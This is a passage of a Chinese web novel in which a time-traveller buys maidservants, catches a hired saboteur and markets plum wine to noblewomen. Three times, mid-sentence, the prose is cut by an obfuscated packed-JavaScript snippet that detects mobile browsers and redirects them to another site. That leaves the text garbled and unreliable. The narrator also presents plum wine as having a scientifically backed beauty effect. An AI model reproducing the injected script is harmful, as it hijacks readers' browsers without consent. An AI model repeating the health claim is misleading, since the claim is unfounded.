王婆满脸堆笑地说道:“崔嬷嬷,这些丫头个个都是好的,老实肯干,您看看有没有中意的?” 崔嬷嬷打量着这些怯生生的小丫头们,点头道:“王婆办事,我自是放心的。” 小丫头个个挺胸站的板正,因为来之前王婆就叮嘱过了,让她们一定要好好表现。 “傅家可是户好人家,今儿个是里面的女主子买婢女,只要被选中留在傅宅里,你们往后就能吃喝不愁,干的也是端茶倒水的轻松活计,最差也不过是洗衣扫地。能住大宅子还有月钱拿,这样的好机会能不能把握住,就看你们今天的表现了。” 相比那些被卖到青楼里,卖给人当小妾的,她们能被卖给女主子当丫鬟已经是很幸运的了。 崔嬷嬷把王婆拉到一边细细问着情况,如今姑娘开铺子做生意,她就怕一个不小心给府里招来了奸细。 王婆:“这些个小丫头是我亲自挑选买回来的,都是些农家子,她们家中几口人、住哪个地方我都清楚的很,都是家里穷的活不下去了才被卖的,不是那些来路不正的,我王婆敢拿性命保证,这些丫头绝对没有问题。” 来路不正的是指一些从别处拍花子来的人,而她手底下的这些小丫头是因为家里穷,没法活下去,只能卖身为奴。 崔嬷嬷不大放心,一一核实了丫鬟们的来历,最终挑出了五个长相秀丽的丫鬟留了下来。 这些丫鬟都是签的死契,比签了活契的丫鬟更贵些,签了死契后只要主家不发卖,她们终生都是傅家的人。 在大魏,人跟商品一样是可以合法买卖的。 卖儿卖女更是很常见的现象,为了维持生活补贴家用,很多父母不得已会把儿女卖掉,因为家里实在是太穷了,把儿女卖给别人做奴婢总比跟着他们饿肚子好,至少不会因为挨饿而丧命。 傅知乔虽然已经融入这个社会,但骨子里依旧是个思想开放的现代人,她从来没有奴役下人的想法,而是把他们当做自己的员工来对待。 平民一旦入了奴籍就相当于失去自由,终身都要听命于主人家,即便是主人家对她们肆意打骂,官府也是不管的。想要退奴籍也不是没有办法,只能花更高的价钱赎身,但是赎身的钱很多丫鬟攒一辈子也攒不出来。 二十五两银子一个人,一手交钱一手交卖身契。 “辛苦你跑一趟了。”王婆的办事效率高,以后免不了还要跟她有接触,崔嬷嬷额外给了她一两银子赏钱。 王婆拿着赏钱乐呵呵的走了,心里还感慨,她就喜欢做大户人家的生意,挑人爽快,给的赏钱也多。 五个十二三岁的小姑娘像一群小鹌鹑似的跟在崔嬷嬷身后,她们都是穷人家的孩子,第一次进这样的大院子,带着紧张和害怕的情绪,个个都垂着头。 “抬起头来介绍下自己。” 清脆悦耳的声音在上方响起。 其中一个小丫鬟鼓起勇气抬头,看到了坐在太妃椅上的傅知乔,脸上带着微笑让人如沐春风,犹如仙女一般的长相看呆了她,小丫鬟不由放松了僵硬的身体,咬了咬嘴唇,小声说道:“奴婢叫小花。” 傅知乔比对了卖身契上的信息,高个子的丫鬟叫小花,这几个人里就属她的年纪最大。 “奴婢叫秀秀。” “奴婢叫小双。” …… 有了带头的,后面几个也跟着报上自己的名字。 傅知乔:“我把你们买回来,并不是要你们伺候我,我在外头有间铺子,以后你们就是铺子的侍女,拿的不是府里的份例而是铺子里的工钱。” 听到工钱几个字,小丫鬟的们的心思都活络起来了,她们之所以被卖就是因为家里缺钱。 这年头,有了钱才能活下去。站在最右边的大眼睛丫鬟叫秀秀,她壮着胆子问:“姑娘,我们的工钱有多少?” 这些琐碎问题当然是银杏来回答:“工钱每月五十文,你们要是做的好,从客人那里得了赏钱就自己留着,明白了吗?” “明白了!”小丫头听完眼睛都亮了。 恩威并施,是最快收拢人心的办法。 傅知乔微抬眼眸,声音带着威严,“崔嬷嬷你们都认识了,接下来就好好跟着她学习礼仪,丑话说在前头,你们只有半月的时间,到时要是过不了崔嬷嬷的考核,就只能去做粗扫的活了。” 小丫鬟们统一换上丫鬟服,打起十二万分的精神跟崔嬷嬷学习接待人的本事。 * 太白酒已经积累了很多回头客,销售上不需要傅知乔多操心了,但青梅酒是全新的业务,相较于酒劲霸道的太白酒,酸甜的青梅酒更适合女子饮用。 所以不能走太白酒的销售模式。 万事开头难,当初她推出太白酒也是投入大量的时间与人力物力。 前期的研发成本就不说了,后来花钱办喝酒挑战赛、请水军去蓬莱居里搞事、免费试喝等等诸多推广活动,太白酒才能有今天的成绩。 最重要的是青梅酒的存货不多,她之前酿的那几坛也不过两百斤左右,所以青梅酒只能走小而精致的路线,容器也不能用酒坛,要制作专门的瓷瓶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047278|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 经过再三考量,傅知乔最后选择了用梅瓶来装酒。 梅瓶的小口设计,可以很好的控制倒酒的量,还能防止酒气挥发掉,简直是装青梅酒的不二之选。 梅瓶只有成人的巴掌大小,小口,短颈,通体施白釉,釉面光洁无任何杂质,瓶身简约无附加堆物,不失“窈窕淑女”之美姿。 傅知乔对成品很满意,这样的酒瓶才配得上她的青梅酒,不枉她花大价钱去请手艺高超的匠人。 不止瓷瓶是定制的,她还设计了配套的梅花雕花礼盒,白釉梅瓶放进盒内的凹槽,再用绸带绑紧固定好位置,防止酒瓶在盒子里摇晃破损。 白釉梅瓶装上八两酒的青梅酒,包装用精美的雕花礼盒,两者结合堪称艺术品,拥有极高的观赏价值。 原料成本加上包装成本,六两银子的售价是很合理的。 青梅酒是以太白酒作为基酒,太白酒的定价是是十两银子一坛,更别说她还加了那么多的冰糖进去,这都是些高成本的原料啊! 在大魏,人们管冰糖叫做“石蜜”。 物以稀为贵,因为制糖技术不成熟,不能大规模生产,所以大魏的糖价极高,不是谁都能吃得起的,甜蜜蜜的糖只有贵族才能够享用到,在百姓们的眼中,糖更是奢侈品一般的存在。 三四百斤左右的青梅酒灌装到梅瓶里也就几百瓶而已。 梅瓶和雕花都是德福亲自去监工签收的,为了确保梅瓶完美无瑕疵,每一个他都细心检查过才敢送到傅知乔手里。 等了十来天,大批的白釉梅瓶和雕花礼盒送到了傅宅。 当初酿青梅酒就是在自家院子里,这会儿也不好挪地方,干脆就在傅宅里灌装好了。 傅知乔正穿上罩衣,在一边指挥丫鬟们把青梅酒灌装到梅瓶里。 瓶子已经清洗消过毒了,先在瓶口插上特制的漏斗,再在把青梅酒灌进去。酒灌装到一半,门房突然来报,酒铺里的伙计宋大力来报,说铺子里有人闹事,请她过去处理。 有人闹事? 傅知乔脱下罩衣嘱咐丫鬟们灌装要仔细点,然后去堂屋接见了宋大力。 “什么人在酒铺里闹事?” 宋大力偷偷瞥了傅知乔一眼,这还是他第一次直接跟东家汇报事情,他咬了咬舌尖提醒自己要专心:“闹事的人名叫韩进财,是十字街里有名的无赖了,他鬼鬼祟祟的要给咱们酒里下药,被抓了个现行,现在人已经捆到后院了,福掌柜出城进货去了,所以来请示您,这个人要怎么处理?” 一听人已经抓住了,傅知乔也不着急了,先让宋大力先回去把人看好了。 她灌了半天的酒此时也有些饿了,吩咐厨房做了糕点过来,她慢条斯理的用完茶点,又回房里重新换了身干净的衣服,然后才朝着酒铺赶去。 坐在马车里她还在想,这个韩进财难道不知道太白酒铺跟蓬莱居搭上关系了吗? 自从酒铺跟蓬莱居合作后,就再也没有碰到过同行的打压,蓬莱居背后的靠山是司马大人已经是城里众所皆知的事实了,与蓬莱居交好就代表着与司马大人交好,居然还有人这么不长眼来找太白酒铺的麻烦? 还是说,这个韩进财背后有人指使? 41. 故意找茬 韩进财是十字街有名的无赖混混,官府的牢房都进去两三回了。他整天游手好闲,偷奸耍滑这招更是玩的是炉火纯青,因为每次犯的事都不算大,所以他都是进牢里关一阵子就放出来,然后又惹事又关进去,如此反复,官府都拿他没法。 十字街这片区域的商户们要是在街上看到他,恨不得把店门关上,生怕被他讹上。 太白酒铺? 瞧着是个新开的铺子,韩进财摸了摸下巴,上次他来这条街时还没有这个铺子。以他行走“江湖”的经验,会自动避开一些有背景的铺子,像这种新开的店铺,在他眼里是可以薅一把的。 韩进财生的人高马大,加上他故意做出凶神恶煞的表情,看上去就很不好惹的样子。 一脚迈进太白酒铺。 酒铺里的伙计并不是住在十字街附近的人,所以也认不得韩进财。见客人上门,他当即摆出标准笑容,热情招待:“欢迎光临太白酒铺,咱家的太白酒乃秘法酿造,酒液透明,酒香浓郁……” 韩进财不耐烦听伙计的介绍,他是来搞事情的又不是真的来买酒的。 “太白酒是吧,快拿上来给我尝尝。” “呃,这位客官,酒铺的免费品酒活动已经截止了。” 进店就能免费品酒的活动仅仅是开业那几天,现在店里都是客人付钱买完酒,才能坐在长桌前免费品尝一杯太白酒。 见占不到便宜,韩进财也没了耐心。 “我自己会看,你别在这碍眼。”呵退了伙计,韩进财装模作样的在酒铺看了起来,一会摸摸柜子,一会摸摸酒坛。 不知不觉中,他悄悄地走到了长桌前,此刻正是午时,酒铺里的客人不少,长桌前接待客人的伙计正在招呼两位在品酒的客人,并没有顾得上他。 抖了抖衣袖,一个药包就出现在手心里。 韩进财环顾四周,见没有注意到自己,飞快的打开药包想把药粉倒进酒坛里。 眼看计谋就要得逞了。 突然一只手抓住了他的手腕,韩进财僵硬的转头,宋大力那张放大脸骤然出现在眼前。 韩进财猛地一发力,一把推开了宋大力就要往外跑。 “哎哟!”宋大力不查,一屁股摔在了地上,他大喊一声:“快,抓住他!” 铺子里其他伙计看到自己人被打,纷纷围了上来。 双拳难敌四手,韩进财虽然身材高大,但就是个绣花枕头。 铺子里的伙计们合力很快就制服了韩进财。 韩进财被制住后嘴里还嚷嚷个不停,“放开我,你们知道我是谁吗?快叫你们掌柜的过来。” “哟!我当是谁呢?大名鼎鼎的韩进财,对吧!”宋大力俯身平视他,用手拍了拍他的脸,然后毫不客气拿抹布堵住他的嘴。 其他伙计不认识韩进财,他还宋大力能不认识他?韩进财,一个臭名昭著的混子。 伙计们合力把他捆到后院里,便叫人去请傅知乔来处理。 申时三刻,傅知乔到了酒铺里,根据伙计们说的,傅知乔才了知道已经是铺子里发生的的第二起上门闹事了。 第一起是有个醉汉强行闯进来,砸坏了柜台上的两坛酒,第二起就是韩进财,得亏伙计们及时制止,才没造成什么损失。 一起可能是意外,但隔三差五就有人来找麻烦就不是什么意外事件了,想必是有人看她的生意好,眼红病犯了。 后院里,傅知乔亲自审问韩进财:“是谁指使你来的?” 伙计上前取下了他口中的抹布。 韩进财双手双脚被人用绳子捆得紧紧的,已经一个下午滴水未进了,“你们这是滥用私刑,我要去官府告发你们!” 傅知乔微不可见的蹙了蹙眉:“去官府告发我们?这些年你做了多少‘好事’自个儿心里应当清楚吧!你说官府是相信你这个前科累累的人,还是会相信我这种老实本分的生意人?” 这是碰上硬茬了? 韩进财一缩脖子,整个气势都弱了下来。 傅知乔继续试探他的心理防线,“你不是第一次坐牢了吧,牢里那些折磨人的手段想必你也很清楚,你也不想刚被放出来就马上进去吧。” 傅知乔身子前倾微微弯着腰,一点点逼近他,低声道:“你说,我要是塞点钱让狱卒好好关照下你,你觉得怎么样?鞭打?铁烙?还是拶刑?你更喜欢哪一个?” 韩进财不由自主的往后挪了挪,脑门上沁出细细汗珠。 “你,你在说什么,我不太明白。”韩进财目光闪躲,虽然尽力强装镇定,但声音还是有一丝颤抖。 他已经后悔接这单生意了。 他平时只会小偷小摸,所以官府对他的处罚并不是很严重,一般是关个几月,最多关半年就能放出来。 宋大力把从他身上搜出来的药包往他面前一扔,一脚踹上去:“你还嘴硬是吧!” “人赃俱获,你招了或许我还能放你一马,不招的话……”傅知乔转身作势要离开,“来人!” 房门打开,走进来几个伙计,眼见他们要将自己拖走,韩进财激动得挣扎起来:“放手!放手!你们不能去报官!” “我招,我招!”韩进财面如土色。 在重大的心里压力之下,韩进财一五一十的把事情招了。 药包里装的是泻药,是别人给他的,有人花三了两银子让他在太白酒铺的酒里下泻药,以便坏了太白酒的名声。 选择冒险在酒铺里动手,还特地指明了要把泻药下在长桌上的酒坛里,看来对方对酒铺里的情况很了解。 太白酒有三层封口,有防伪标识、有批次认证,很难浑水摸鱼搞事情。 只有客人在酒铺里喝了酒,出了事才能引起大的反应。 “指使你的人是谁?” “不认识,我们是在巷子里联络的,巷子里很黑看不清他的脸,只知道他是个男的。”韩进财只管拿钱办事,对方的长什么不是他该关心的。 对方保密工作做得很好,再问也问不出更多的信息,压着韩进财签了认罪书作为证据,傅知乔这才把人放了回去。 出了酒铺,傅知乔派人一路跟着韩进财,看看能否顺藤摸瓜,揪出背后捣乱之人。 一连三天,派去盯梢的人并没有发现形迹可疑之人与他接触,韩进财依然是好吃懒做的样子。 只有千日做贼的,没有千日防贼的,敌暗我明,对方很谨慎,再继续跟下去恐怕也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097412|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不到什么结果,傅知乔让人撤了回来。 目前她的根基还是太浅了,这些人才敢把主意打到她头上,看来仅凭跟蓬莱居合作的关系是远远不够的,伺机找铺子麻烦的大有人在。 * 第二天,傅知乔带着自己的青梅酒上门拜访徐尚强。 “徐掌柜,多有叨扰。” 徐尚强满面红光,一副精神饱满的样子,“哪里哪里,傅老板登门,寒舍蓬荜生辉啊!” 两人各自吹捧一番,落座。 “今日前来,是来邀请徐掌柜品酒的。”说话间,傅知乔示意德福把礼盒摆在他面前,“这是铺子里新推出的精酿青梅酒,清冽酸甜,徐掌柜是咱们青州城第一个喝到它的的人。” 太白酒铺出新酒了?徐尚强顿时来了兴趣。 他的注意力被礼盒吸引,打开盒子一看,盒子里头是用白釉梅瓶装的青梅酒,瓶身还绑着红绸,设计极其精巧别致。 “这里头装的是酒?” 青梅酒仅仅八两的容量,不怪徐尚强惊讶,他还是第一次看到如此小的酒。 徐尚强看了看酒,接着又看了看傅知乔,“傅老板今日恐怕不止是为徐某人送酒吧。”都是商场的老狐狸了,他一语道破傅知乔的目的。 傅知乔点点头,面带笑容说道:“徐掌柜果然明察秋毫,什么瞒不过您的眼睛,如此一来我就不客套了,您要是觉得这酒的味道好,我这里还有一盒,希望能借您的手送给司马夫人品尝。” 这话说的一点也不含蓄,徐尚强哪能不明白她的意思。 太白酒铺的酒必然是精品。 徐尚强多精明呐,他如今和太白酒铺有共同的利益,自从太白酒引进到蓬莱居里,他可是赚了不少钱,徐尚强思索着,若是把能青梅酒也引进蓬莱居…… 更何况,傅知乔出了新酒第一时间就送给自己喝,徐尚强对她这个行为十分受用,心里畅快极了,当即答应下来。 “如此就多谢徐掌柜了。” 傅知乔要拜托徐尚强牵线,自然不会空手而来,德福手上的青梅酒是送给徐尚强的,银杏手上包装更精美、放了干花装饰的盒子则是为徐双琴准备的。 傅知乔希望徐尚强帮忙引荐他的妹妹,也是现在的青州司马夫人徐双琴,她想要以徐双琴作为切入点,拿青梅酒去俘获青州贵妇人们的心。 送走了傅知乔,徐尚强就迫不及待拿着酒喝了起来。 一开封浓浓的梅子酸味扑鼻而来,口感酸甜怡人,与太白酒简直是两个极端,难怪傅老板指名说要送给双琴喝。 青梅酒酸酸甜甜的滋味,是女人们爱喝的口味,与他男子汉的形象不符合,徐尚强笑着摇摇头,这瓶还是留给自家夫人喝吧。 这样想着,他立马差人把另一盒青梅酒送到妹妹徐双琴手里,还嘱咐她一定要尝尝。 徐双琴这边,看到自家哥哥送上来的酒,以为就是个平常的东西就也没怎么在意,打都打开就让下人收起来放在库房里。 五天过去,没有一个客人上门询问青梅酒,看来徐双琴那边还没有进展。 鸡蛋不能放在一个篮子里,她必须要想想别的法子了。 好在,花朝会快到了。 42. 花朝会 四月,一年一度的花朝会就在城外的桃园里举办。 青州举办花朝会的传统是从京城那边传来的,因为青州离京城较近,城里的贵族富商们样样都朝着京城看齐。 更为特别的是,今年的花朝会是由安国公府和刺史夫人一起组织的。 安国公府扎根京城,但祖籍是青州,在老太爷去世后,老太夫人便回到家乡颐养天年。家里的小辈们会过来陪她小住一段时间,这次为了表孝心逗她老人家开心,便组织了这场花朝会。 因为有了专人组织,今年的花朝节便与往年有些不同。 城里的官家夫人小姐都会去城外参加,不仅如此,家贵族会们还会拿出一些自家的名贵花品来给全城的百姓观赏。 尤其是安国公夫人,她把自己心爱的翡翠兰都给展出来了,翡翠兰属于非常名贵的兰花品种,叶片翠绿,花色鲜艳,如同一尊精美的翡翠,因此而得名。 以前贵族们大多都是在自家园林里赏花,百姓们根本没有条件见到什么名花名草,所以此消息一出,让百姓们对花朝会的期待更高了。 四月初四,花朝会当日。 傅知乔带着崔嬷嬷和银杏早早地出门了。 天公作美,阳光明媚,城外的官道上大多是前往桃林赏花的人,在路边卖花环的小贩们生意火爆。 刚进桃林,便觉得眼前一亮。 一望无际的桃花花海,微风拂来,花瓣随风起舞,在空中盘旋最终落回了地上,铺成了粉色的地毯,让人有种如置仙境的感觉。 进入桃林,走上半刻钟,便可看到赏花台。 桃林中间已经搭好了一个展示台,台子上边摆放着瓶、盘、缸、筒等各式各样的花器。 牡丹富丽堂皇、兰花清逸雅致、海棠娇艳动人……花开的正盛,绚丽夺目,一看就是花中珍品。 花草们争奇斗艳,尽情展示着自己的美丽。 台子周围站了一圈侍卫,防止众人观赏时伤到花朵们,他们的意思很明显,只可观赏,不可亵玩。 百姓们也知道轻重,如此名贵的的花种能一饱眼福已是幸事,自觉地站在台子三尺远的位置,仔仔细细观赏着,时不时与同行的友人讨论品鉴一番。 赏娇花,逛桃林。 逛的累了,便在树下设坐席,摆上些瓜果点心休憩片刻。 贵族们很讲究,让仆人们竖起屏风支起幔帐,女眷们围在一处,烹茶赏花,笑语不断。 普通百姓就相对随意了,直接在地上垫一层蒲草席子即可。 这会儿时辰不算早,但地上已经坐了不少人,百姓们自觉地避开支起幔帐的位置。 抬眼望去,贵族与百姓间泾渭分明,支起幔帐的人和席地而坐的人如同隔着楚河汉界一般。 傅知乔挑了个离贵女们幔帐不远的位置,银杏和崔嬷嬷早早地就布置好了,在桃树下围了纱幔,摆出小茶几,拿出点心和青梅酒,装青梅酒的礼盒直接摆在了桌上。 傅知乔微微仰头,看着头顶上簌簌摇曳的桃花,姿态闲适,已经有不少人朝着投来了打量的目光。 随着酒香慢慢扩散开来,周围也传来窃窃私语的讨论声。 不一会儿,一个丫鬟打扮走过来:“敢问姑娘喝的是什么酒?” 傅知乔唇角微微勾起,鱼儿上钩了! “此酒名为青梅酒。” “能否卖我一些?” 看到傅知乔摇了摇头,那丫鬟明显急了,“刺史府跟你买酒,你也不卖?” 她话刚落音,身后传来呵斥之声:“不得无礼!” 小丫鬟脸色一白,急忙退了下去。 傅知乔望向说话之人,约莫十五六的岁年纪,生的娇俏玲珑,朱唇皓齿,双眉弯弯,是个难得的清秀佳人。她身后还跟着一群贵女,能站在众多贵女的首位,想必是个身份尊贵之人,再加上刚才那个是刺史府的丫鬟…… 傅知乔起身行了礼,“见过周小姐。” 说话之人正是刺史家的小姐,周妙思。本次花朝会是她家和安国公府一起组织的,傅知道早就打听好了,来花朝会游玩有哪几家的公子小姐。 周妙思颔首:“婢女无礼,还望姑娘多多包涵。” “周小姐言重了。” “敢问姑娘是哪家的?” “我姓傅,名知乔,家住城南。” 哦,原来是个普通人家,贵女们的态度立刻变得冷淡了些,因为城里的官宦都住在城北。 一番简单的自报家门后便进入了正题,周妙思等人是被酒的香气吸引过来的,“傅姑娘,你这酒是从何处买来的?” 傅知乔没想隐瞒:“不瞒各位,这酒是自家酿的。”说完,她不着痕迹地打量了一圈这群贵女们的神色。 贵女们脸上的表情飞快地变化着,大家一开始是见她衣着讲究,气质非凡,以为她是哪户人家的小姐才过来搭话的。在听见她说自己是商人后,贵女们都兴致缺缺,她们可没心思去结交一个商户,平白拉低自己的档次。 士农工商,商人虽然有钱,但地位却是不高的。 其中一个贵女更是皱了皱眉,一副不想跟她说话的样子。 周妙思早就注意到了她身边那个小茶几上的礼盒,精美的包装一看就不是普通之物。 在听到傅知乔说这酒是她自己酿的之后,周妙思十分惊讶,“没想到傅姑娘还有这样的手艺。” 傅知乔笑了笑,收下了褒奖:“此酒乃秘法酿制,不仅味道可口,还有养颜之效。” “这酒还能养颜?” “胡诌的吧,酒还能养颜?”站在周妙思身侧的女子名为唐玉樱,她语气十分怀疑。 “当然,适当的饮用此酒能活血疏经,还能让肌肤变得柔嫩白皙。” 傅知乔点了一位站在人群后面的姑娘,“像这位姑娘,她面容秀丽,肌肤也很细腻,只是气色蜡黄显得少了几分精神,这都是因为血气不足导致的……” 被她点名的那位小姐不自觉摸了摸自己的脸,听傅知乔夸自己长得美、肌肤细腻她还挺高兴的,接着又听傅知乔说自己气血不足,她小鸡啄米似的疯狂点头,因为家里请的大夫也是这样说的。 其他贵女见她说的头头是道,心里也信了几分。 青梅酒能美容这点可不是傅知乔乱吹牛,都是有科学依据的。青梅里含有丰富有机酸,对人体肝脏有保护作用,酸甜的味道能刺激唾液腺分泌腮腺素,有促进代谢,达到面色红润的效果。 关于美容的话题,众位小姐听得十分认真,傅知乔说这酒能养颜,这群贵女们都有点迫不及待了。 没有哪个女子能抵得住美容养颜的诱惑。 见其他人不附和自己,还都围在傅知乔身边听她说话,站在一旁的唐玉樱心里有几分不快。 “休要在此信口雌黄,能养颜的酒我可前所未闻,众位姐妹可有听闻?”唐玉樱呲笑道,她认为傅知乔是在这里哗众取宠,博人目光罢了。她堂堂安国公府家的二小姐,见多识广,拥有的奇珍异宝不计其数,却也从未听说酒能养颜,而一个小小的商户女居然在这里大放厥词,说她酿的酒能美容养颜。 傅知乔面带微笑,丝毫不在乎唐玉樱质疑的目光,回答道:“青梅酒是我从古书上找到的方子,费尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116788|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思才把它酿成了酒,长期饮用有美肌美发、养颜塑身之功效。” 说完,她恻过头露出自己的半边脸颊,“各位姑娘可看看我的皮肤,就知道我没有说谎了。” 绸缎的的乌发垂在脑后,随着她微微偏头而散落在脖颈两侧,在乌发的衬托下,愈发显得她肤白如玉,脸颊更是粉团一般娇嫩,美的让人心颤。 以傅知乔的容貌来说,青梅酒能美容确实很有说服力。 见周围的贵女们动摇了,唐玉樱提高声音质问道:“你擦了脂粉当然显得肌肤娇嫩了!” “我有没有擦粉,姑娘上前一观便知。” 大庭广众之下盯着一个女子的脸看是十分失礼的行为,与她们贵女的身份教养不符。可美容酒的诱惑力实在太大了,傅知乔这般活生生的例子已经摆在眼前了,她们实在不想错过。 管不了那么多了,众小姐走近一步围着傅知乔,尤其是唐玉樱,她目光如炬,仔仔细细盯着傅知乔的脸看,似乎要在上面烧出一个洞来。 “她真的没有擦粉哎!” “还真是,她的皮肤也太好了吧!” “看来,这青梅酒真有美颜之效。” 贵女们七嘴八舌讨论着。 这肌肤、这气色、这美貌,谁看了不心动? “哼!”唐玉樱冷哼一声,她虽然不相信傅知乔说的话,但事实摆在眼前,她也说不出什么否定的话了。 气氛有一瞬间的凝滞。 周妙思率先出来打圆场:“真有这么神奇,我倒想试一试这青梅酒了。” 众位贵女都点点头,既然周妙思出来说话了,她们也不好拂了她的面子。 傅知乔从银杏手里接过酒壶,倒了一杯酒给周妙思,青梅酒的香气霎时间酒飘了出来,酒液呈琥珀色,盛在小小的白玉杯里显得十分诱人。 “真好闻!” “怎么是这个颜色,看上去确实有点稀奇。” “好漂亮的酒呀!” 贵女们们叽叽喳喳说个不停。 傅知乔把第二杯酒倒给了唐玉樱,然后又倒了几杯,分给其他人。 一壶酒就这么分了个干净。 周妙思拿起酒杯,嗅了一口酒香,抿了一小口酒后眼睛一亮,“酸甜爽口,带着清雅的梅子香,这酒果然特别。”她笑了笑,随后举起酒杯,小口小口的把一杯酒全都喝了。 入口便是青梅的果酸,然后在嘴里慢慢回甘,口感层次丰富,青梅的酸香融入了太白酒的爽冽,冰糖的加入让酒喝起来不会酸涩,是轻薄温柔的梅子香味。 青梅酒的酿制方法虽然不难,可这大半年的等待却是实打实的,太白酒、糖、青梅三者相融,在时间的沉淀下完成了风味物质的转化,最终酿出了这酸甜爽口的青梅酒。 其他的贵女们喝完也是意犹未尽。 见青梅酒得到了众人的好评,傅知乔露出了微笑:“青梅酒喝在嘴里是酸甜的,喝到腹中有微微发热的感觉,各位不妨仔细感受一番。” “真的哎!真的有发烫的感觉。” 傅知乔:“这是青梅酒在发挥作用,长期喝下去就能看到养颜的效果了。” 青梅酒是以太白酒作为基酒的,酒精度数高喝下肚是会有淡淡的烧灼感,哪怕青梅酒中所含的酒精已经下降很多了,但这些娇小姐们养在深闺里,身子娇弱,肠胃也娇弱,感知能力自然很明显。 “你这酒多少钱?我买了!”青梅酒显然是对了周妙思的胃口。 傅知乔摆了摆手道:“周姑娘若是喜欢,回头差人来铺子里吩咐一声便可,我家的酒铺就在城南十字街上。” 43. 扩招女工 一群官家贵女在外面喝光了别人的酒还不给钱,传出去像什么话?“这可怎么行?我怎么能占你的便宜。”说着,周妙思示意身后的婢女掏银子。 傅知乔:“周姑娘何必如此见外,青梅酒能受到各位姑娘的赞誉,我倍感荣幸,今天大家能相聚在此便是缘分,这酒就当我请大家喝了。” 周妙思见她行事大气爽快,也不再拒绝了。 “不过,铺子里的青梅酒的存货不多了,诸位要是想喝青梅酒了还请赶早哦!” 周妙思一听酒不多了,当即跟她说好了,让她回头送些酒青梅到刺史府上。 唐玉樱也是一副意犹未尽的表情,她虽然骄纵了些,却也不是那不讲理的人:“你这酒确实不错,但是能否美容养颜还待验证。” “这么一小杯,未免太少了些,不够喝啊!”一个身形微胖的贵女出声逗笑了大家。 青梅酒的第一笔订单已经到手,傅知乔轻咳一声,提醒道:“青梅酒虽好,可也要适量,过犹不及。” 这句话让周妙思暗自点头,心里对傅知乔更有好感了,她明明是个商户,身上却没有铜臭气息,是个可结交之人。 傅知乔勾起嘴角浅笑,有了这群贵女们的助力,青梅酒定能在青州女性圈子里引起风波。 目前她该做的都做了,接下来只等时间来验证。 * 从花朝会回来,她立即让人包了青梅酒礼盒送到刺史府上。 期间还陆陆续续接到了其他贵女们的订单。 总之青梅酒非常低调的开售了。 傅知乔并未像太白酒那样在民间宣传,青梅酒的名气只在贵女圈子里小范围传播。 太白酒需要的是一炮而红,广为人知。 青梅酒需要的则是精准定位目标人群,闷声发大财。 考虑到来买青梅酒的客人大多是有钱又有闲的夫人贵女们,铺子里的陈设之物也极尽奢华雅致,还用纱幔代替屏风将铺子隔成了里外两间,里间是由来接待贵女们,外间是丫鬟们的休憩区,纱幔既不占地方又能营造出朦胧的氛围。 有些贵女做派大,每次出门都有三五成群的丫鬟环绕,为了避免丫鬟冲突到铺子里的其他客人,所以酒铺里规定了一位客人最多能带进两个丫鬟,其余的人则在外间等候。 青梅酒的前期试水已经成功,她要趁着今年的青梅季酿更多的青梅酒,保证一年四季都有的卖。 傅知乔有点烦恼,现在是四月份,七八月就是青梅的成熟的季节了,她需要尽早计划好才行。 酒庄里要开辟出一条新的生产线,高老头那边负责太白酒的生产,青梅酒的这条生产线要交给谁管理呢? 突然,她心里冒出个大胆的想法,既然青梅酒的定位是女性饮用酒,何不把生产线也交由女性负责呢? 太白酒的生产销售规模已经成熟,不需要她整日盯着了,眼下她正好有空来管理青梅酒的相关事宜。 当初在生产太白酒时,酒庄里要招的能背能抗的汉子,可酿制青梅酒不需要蒸粮、不需要拌曲这些力气活,只要心灵手巧,掌握好酿酒放料的比例即可,哪怕是力气小些的女子也能胜任。 决定了要招聘女工,傅知乔便马不停蹄的传令给文江,要他立即清扫出一座空房作为青梅酒的生产间。 因为酿制青梅酒的过程涉及到商业机密,傅知乔准备只招村里的女人,她是这里的东家,对村里的佃户们有很大的控制权,再者招了别人进来她也不放心。 在酒庄门口贴上招聘告示。 酒庄聘用四十岁以内的女工,月钱五十文,手脚灵活有力气的和酒庄工人家属优先选取。 傅知乔最开始定年龄的时候,还想着四十岁这个年纪会不会太苛刻了。但转头一想,古人的平均寿命并不长,因为受到战争和灾荒的影响,又没有先进的医疗手段,能活到五十多岁就已经算长寿的了,四十岁的年纪正正好,于是就这么定了下来。 村民们不认字,但酒庄里有人识字。 文江手下有个叫刘永昌的人,考了十来年也没有考上秀才,在掏空了家底之后他终于意识到自己不是那块料,索性不考了,留在酒庄里做了文江的帮手,负责记录工人档案、写写文书之类的,相当于秘书的职位。 自从在酒庄贴了招聘告示后,他就专门负责在门口给来询问的村民解答疑惑。 此消息一出,整个酒庄都沸腾了。 